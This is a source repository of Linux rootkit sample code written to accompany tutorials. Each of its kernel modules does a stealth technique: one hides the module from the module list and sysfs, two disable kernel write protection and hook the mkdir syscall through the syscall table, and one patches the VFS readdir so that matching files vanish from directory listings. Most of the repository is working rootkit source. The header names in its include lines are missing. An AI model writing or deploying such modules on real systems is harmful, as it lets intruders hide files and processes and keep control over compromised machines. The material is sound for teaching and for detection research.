├── LICENSE ├── README.md ├── tutorial-one ├── Makefile └── lkm1.c ├── tutorial-three ├── Makefile └── lkm4.c └── tutorial-two ├── idt ├── Makefile └── lkm3.c └── system.map ├── Makefile ├── lkm2.c └── sys_map_addr.h /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 Arciryas 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # rootkit-sample-code 2 | rootkit sample code of my tutorials on Freebuf.com 3 | -------------------------------------------------------------------------------- /tutorial-one/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := lkm1.o 2 | KDIR := /lib/modules/$(shell uname -r)/build 3 | PWD := $(shell pwd) 4 | 5 | default: 6 | $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules 7 | -------------------------------------------------------------------------------- /tutorial-one/lkm1.c: -------------------------------------------------------------------------------- 1 | /*lkm1.c*/ 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | static int lkm_init(void) 8 | { 9 | list_del_init(&__this_module.list); 10 | kobject_del(&THIS_MODULE->mkobj.kobj); 11 | 12 | printk("Arciyas:module loaded\n"); 13 | return 0; 14 | } 15 | 16 | static void lkm_exit(void) 17 | { 18 | printk("Arciryas:module removed\n"); 19 | } 20 | 21 | module_init(lkm_init); 22 | module_exit(lkm_exit); 23 | -------------------------------------------------------------------------------- /tutorial-three/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := lkm4.o 2 | KDIR := /lib/modules/$(shell uname -r)/build 3 | PWD := $(shell pwd) 4 | 5 | default: 6 | $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules 7 | -------------------------------------------------------------------------------- /tutorial-three/lkm4.c: -------------------------------------------------------------------------------- 1 | /*lkm4.c*/ 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | char *protect_filename = "lkm"; 11 | char *root_fs="/"; 12 | 13 | typedef int (*readdir_t)(struct file *, void *, filldir_t); 14 | static int (*orig_filldir)(void *__buf, const char *name, int namelen, 15 | loff_t offset, u64 ino, unsigned int d_type); 16 | 17 | readdir_t orig_readdir = NULL; 18 | 19 | static int fake_filldir(void *__buff, const char *name, int namelen, 20 | loff_t offset, u64 ino, unsigned int d_type) 21 | { 22 | if (strstr(name, protect_filename)) 23 | return 0; 24 | 25 | return orig_filldir(__buff, name, namelen, offset, ino, d_type); 26 | } 27 | 28 | int fake_readdir(struct file *fp, void *buf, filldir_t filldir) 29 | { 30 | int r; 31 | orig_filldir = filldir; 32 | 33 | printk("Arciryas:we are in the VFS layer!\n"); 34 | 35 | r = orig_readdir(fp, buf, &fake_filldir); 36 | return r; 37 | } 38 | 39 | int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir) 40 | { 41 | struct file *filep; 42 | struct file_operations *new_op; 43 | 44 | filep = filp_open(p, O_RDONLY|O_DIRECTORY, 0); 45 | if(IS_ERR(filep)) 46 | return -1; 47 | if(orig_readdir) 48 | *orig_readdir = filep->f_op->readdir; 49 | 50 | new_op = (struct file_operations *)filep->f_op; 51 | new_op->readdir = new_readdir; 52 | filep->f_op = new_op; 53 | 54 | filp_close(filep, 0); 55 | 56 | return 0; 57 | } 58 | 59 | int unpatch_vfs(const char *p, readdir_t orig_readdir) 60 | { 61 | struct file *filep; 62 | struct file_operations *new_op; 63 | 64 | filep = filp_open(p, O_RDONLY, 0); 65 | if(IS_ERR(filep)) 66 | return -1; 67 | 68 | new_op = (struct file_operations *)filep->f_op; 69 | new_op->readdir = orig_readdir; 70 | 71 | filp_close(filep, 0); 72 | 73 | return 0; 74 | } 75 | 76 | static int lkm_init(void) 77 | { 78 | write_cr0(read_cr0() & (~0x10000)); 79 | printk("Arciyas:module loaded\n"); 80 | patch_vfs(root_fs, &orig_readdir, fake_readdir); 81 | write_cr0(read_cr0() | 0x10000); 82 | return 0; 83 | } 84 | 85 | static void lkm_exit(void) 86 | { 87 | write_cr0(read_cr0() & (~0x10000)); 88 | printk("Arciryas:module removed\n"); 89 | unpatch_vfs(root_fs, orig_readdir); 90 | write_cr0(read_cr0() | 0x10000); 91 | 92 | } 93 | 94 | module_init(lkm_init); 95 | module_exit(lkm_exit); 96 | 97 | -------------------------------------------------------------------------------- /tutorial-two/idt/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := lkm3.o 2 | KDIR := /lib/modules/$(shell uname -r)/build 3 | PWD := $(shell pwd) 4 | 5 | default: 6 | $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules 7 | -------------------------------------------------------------------------------- /tutorial-two/idt/lkm3.c: -------------------------------------------------------------------------------- 1 | /*lkm3.c*/ 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | 16 | unsigned long *sys_call_table; 17 | 18 | struct 19 | { 20 | unsigned short size; 21 | unsigned int addr; 22 | }__attribute__((packed)) idtr; 23 | 24 | struct 25 | { 26 | unsigned short offset_1; 27 | unsigned short selector; 28 | unsigned char zero; 29 | unsigned char type_attr; 30 | unsigned short offset_2; 31 | }__attribute__((packed)) idt; 32 | 33 | unsigned long *find_sys_call_table(void) 34 | { 35 | unsigned int sys_call_off; 36 | char *p; 37 | int i; 38 | unsigned int ret; 39 | 40 | asm("sidt %0":"=m"(idtr)); 41 | printk("Arciryas:idt table-0x%x\n", idtr.addr); 42 | 43 | memcpy(&idt, idtr.addr+8*0x80, sizeof(idt)); 44 | sys_call_off = ((idt.offset_2<<16) | idt.offset_1); 45 | 46 | p = sys_call_off; 47 | for(i=0; i<100; i++) 48 | { 49 | if(p[i]=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85') 50 | ret = *(unsigned int *)(p+i+3); 51 | } 52 | printk("Arciryas:sys_call_table-0x%x\n", ret); 53 | return (unsigned long**)ret; 54 | } 55 | 56 | asmlinkage long (*real_mkdir)(const char __user *pathname, 57 | umode_t mode); 58 | asmlinkage long fake_mkdir(const char __user *pathname, umode_t mode) 59 | { 60 | printk("Arciryas:mkdir-%s\n", pathname); 61 | 62 | return (*real_mkdir)(pathname, mode); 63 | } 64 | 65 | static int lkm_init(void) 66 | { 67 | sys_call_table = find_sys_call_table(); 68 | 69 | write_cr0(read_cr0() & (~0x10000)); 70 | real_mkdir = (void *)sys_call_table[__NR_mkdir]; 71 | sys_call_table[__NR_mkdir] = fake_mkdir; 72 | write_cr0(read_cr0() | 0x10000); 73 | 74 | printk("Arciryas:module loaded\n"); 75 | 76 | return 0; 77 | } 78 | 79 | static void lkm_exit(void) 80 | { 81 | write_cr0(read_cr0() & (~0x10000)); 82 | sys_call_table[__NR_mkdir] = real_mkdir; 83 | write_cr0(read_cr0() | 0x10000); 84 | printk("Arciryas:module removed\n"); 85 | } 86 | 87 | module_init(lkm_init); 88 | module_exit(lkm_exit); 89 | -------------------------------------------------------------------------------- /tutorial-two/system.map/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := lkm2.o 2 | KDIR := /lib/modules/$(shell uname -r)/build 3 | PWD := $(shell pwd) 4 | 5 | default: 6 | $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules 7 | -------------------------------------------------------------------------------- /tutorial-two/system.map/lkm2.c: -------------------------------------------------------------------------------- 1 | /*lkm2.c*/ 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "sys_map_addr.h" 16 | 17 | unsigned long *sys_call_table = (unsigned long *) SYS_CALL_TABLE; 18 | 19 | asmlinkage long (*real_mkdir)(const char __user *pathname, 20 | umode_t mode); 21 | asmlinkage long fake_mkdir(const char __user *pathname, umode_t mode) 22 | { 23 | printk("Arciryas:mkdir-%s\n", pathname); 24 | 25 | return (*real_mkdir)(pathname, mode); 26 | } 27 | 28 | static int lkm_init(void) 29 | { 30 | write_cr0(read_cr0() & (~0x10000)); 31 | real_mkdir = (void *)sys_call_table[__NR_mkdir]; 32 | sys_call_table[__NR_mkdir] = fake_mkdir; 33 | write_cr0(read_cr0() | 0x10000); 34 | 35 | printk("Arciryas:module loaded\n"); 36 | 37 | return 0; 38 | } 39 | 40 | static void lkm_exit(void) 41 | { 42 | write_cr0(read_cr0() & (~0x10000)); 43 | sys_call_table[__NR_mkdir] = real_mkdir; 44 | write_cr0(read_cr0() | 0x10000); 45 | printk("Arciryas:module removed\n"); 46 | } 47 | 48 | module_init(lkm_init); 49 | module_exit(lkm_exit); 50 | -------------------------------------------------------------------------------- /tutorial-two/system.map/sys_map_addr.h: -------------------------------------------------------------------------------- 1 | #define SYS_CALL_TABLE 0xc0592150 2 | --------------------------------------------------------------------------------